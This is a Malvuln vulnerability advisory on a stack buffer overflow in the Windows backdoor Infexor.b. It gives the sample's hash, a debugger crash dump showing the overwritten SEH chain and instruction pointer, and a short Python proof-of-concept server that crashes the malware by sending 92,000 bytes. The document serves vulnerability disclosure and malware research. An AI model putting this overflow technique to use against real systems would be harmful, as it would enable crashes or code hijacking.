Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/34c09f7fd6668c89a59ebdc8f12d1e7b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Infexor.b
Vulnerability: Buffer Overflow
Description: Remote SEH Stack Buffer Overflow on HTTP server response when connecting to TCP Port 13. 

Type: PE32
MD5: 34c09f7fd6668c89a59ebdc8f12d1e7b
Vuln ID: MVID-2021-0010
Dropped files: C:\Windows\SysWOW64\kernel32.dll.exe 
ASLR: False 
Safe SEH: True
Disclosure: 01/01/2021 

Memory Dump:  
(12dc.1728): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=03151480 ebp=031514a0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???
0:006> !exchain
0324ff70: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
import socket

port=13
payload="A"*92000

def doit():
    global payload
    s = socket.socket()
    try:
        host = ''              
        s.bind((host, port))            
        s.listen(5)                    

        print('Backdoor.Win32.Infexor.b / Remote Stack Buffer Overflow')
        print('MD5: 34c09f7fd6668c89a59ebdc8f12d1e7b')
        print("By malvuln")

        while True:
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
    except Exception as e:
        pass

if __name__=="__main__":
    doit()



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